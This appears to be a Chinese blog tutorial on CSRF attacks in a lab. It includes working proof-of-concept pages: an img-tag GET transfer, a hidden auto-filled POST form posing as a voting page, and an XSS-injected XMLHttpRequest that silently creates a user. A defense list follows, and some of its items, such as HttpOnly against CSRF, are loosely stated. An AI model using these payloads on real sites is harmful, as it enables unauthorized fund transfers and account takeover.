CSRF——跨站请求伪造

本文详细介绍了CSRF攻击的工作原理,包括如何利用受害者已登录状态进行转账操作,展示了不同场景下的攻击示例,并探讨了无效和有效的防御措施,如验证Referer、二次验证、HttpOnly和SameSite属性的应用。
摘要由CSDN通过智能技术生成

CSRF原理

漏洞验证

实战

防御

原理

概述

​ 跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非 本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。

​ 借助于社工的一些帮助,例如,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的 CSRF 攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF 攻击会危及整个Web 应用程序

关键点

  • 受害者没有退出登录,受害者保持身份认证。
  • CSRF 继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作。
  • CSRF 会借用浏览器中与站点关联的所有身份凭据,例如用户的会话Cookie,IP 地址,Windows 域凭据等。

目标

CSRF 的目标是更改用户账户的状态,攻击者利用CSRF 发送的请求都是更改状态的请求,比如,转账、更改密码,购买商品等等。

CSRF 的场景中,攻击者是没有办法获得服务器的响应

场景:银行账户转账

场景模型

image-20231113100113823

环境演示

搭建模拟银行网站,网站可实现转账操作

网站有 hello 用户、hacker 用户、admin 用户

如 hello 向 admin 用户转账,转帐前

image-20231113104545218

image-20231113104552237

hello 用户向 admin 用户转账 100 元后,hello 用户余额减少 100,admin 用户余额增加 100

image-20231113104800695

image-20231113104816234

GET 请求的虚假网站

转账时抓包

POST /bank/action.php HTTP/1.1
Host: 10.9.47.241
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://10.9.47.241
Connection: close
Referer: http://10.9.47.241/bank/self.php
Cookie: username=hello
Upgrade-Insecure-Requests: 1

username=admin&money=100&submit=%E4%BA%A4%E6%98%93

其中有三个参数:转账目标账户、转账金额、提交

username=admin&money=100&submit=%E4%BA%A4%E6%98%93

构造恶意网站 StealMoney.html,强制受害者向银行网站发送向 hacker 的转账信息

网站代码

<!DOCTYPE html>
<html lang="zh">
<head>
	<meta charset="UTF-8">
	<title>为kunkun投票</title>
</head>
<body>
	<img src="http://10.9.47.241/bank/action.php?username=hacker&money=1000&submit=%E4%BA%A4%E6%98%93">
	<br>
	<img src="https://tse4-mm.cn.bing.net/th/id/OIP-C.joOEwWxB9ZwGNeiECewPeQHaHb?pid=ImgDet&rs=1">
</body>
</html>

当受害者未退出银行网站时访问恶意网站

恶意网站中 <img> 标签中的 scr 属性会自动加载转账 http 请求,此请求是由受害者向服务器发送,受害者并未退出网站登录,会携带网站的验证信息,从而实现向 hacker 转账的操作

image-20231113111935223

image-20231113112047261

hacker 余额 0->1000

image-20231113113412549

POST 请求的虚假网站

在使用 BurpSuite 抓到转账数据包,右键>相关工具>CSRF POC 生成,可以自动生成 CSRF 的 POST 攻击代码

image-20231113112415842

image-20231113112529403

稍加改造

<!DOCTYPE html>
<html lang="zh">
<head>
	<meta charset="UTF-8">
	<title>为kunkun投票</title>
</head>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<img src="https://tse4-mm.cn.bing.net/th/id/OIP-C.joOEwWxB9ZwGNeiECewPeQHaHb?pid=ImgDet&rs=1">
<form action="http://10.9.47.241/bank/action.php" method="POST">
  <input type="hidden" name="username" value="hacker" />
  <input type="hidden" name="money" value="1000" />
  <input type="hidden" name="submit" value="&#164;&#152;&#147;" />
  <input type="submit" value="投票" />
</form>
</body>
</html>

访问恶意网站,点击投票

image-20231113113452936

再次向 hacker 转账 1000

image-20231113113700135

hacker 余额 1000->2000

image-20231113113721972

实战——CSRF与XSS相结合

场景

XSS 环境

利用 XSS 触发CSRF 攻击。因为,可以利用 JS 发送HTTP 请求

此实验完成当管理员查看留言时自动创建用户 gjl

新建用户流程

新建用户

image-20231113132746540

抓包拦截

POST /cms/admin/user.action.php HTTP/1.1
Host: 10.9.47.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Origin: http://10.9.47.148
Connection: close
Referer: http://10.9.47.148/cms/admin/user.add.php?act=add
Cookie: username=admin; userid=1; PHPSESSID=a7ujlgkv6rkuojkifh60vrdq77
Upgrade-Insecure-Requests: 1

act=add&username=test&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0

恶意代码构造

根据抓取的数据包构造新建用户的恶意代码

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.9.47.148/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=gjl&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

攻击者上传恶意代码

image-20231113140614700

点击提交

image-20231113121102565

管理员浏览器加载恶意代码

管理员点击留言管理界面

image-20231113140708696

成功创建用户

image-20231113140728919

抓包可以看到点击留言管理时自动向服务器发送创建用户的请求,并且携带 Cookie

image-20231113140928780

CSRF 防御

无效防御

  • 使用秘密的 Cookie。
  • 仅接收 POST 请求。
  • 多步交易:多步交易,有可能会被恶意攻击者预测。
  • URL 重写:用户的身份信息会暴露在 URL 中,不建议通过引入另外一个漏洞来解决当前 漏洞。
  • HTTPS:所有安全机制的前提。

有效防御

  • 验证 Referer 字段:

    当前 URL 的上一个 URL;(攻击者也可伪造)

  • 二次验证:

    在关键操作之前,再输入密码或者验证码

  • 添加 Token 验证

  • HttpOnly:某些情况下禁止 JS 脚本访问 Cookie 信息。

    DVWA impossible 难度

  • SameSite:Cookie 属性,浏览器自带安全机制。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值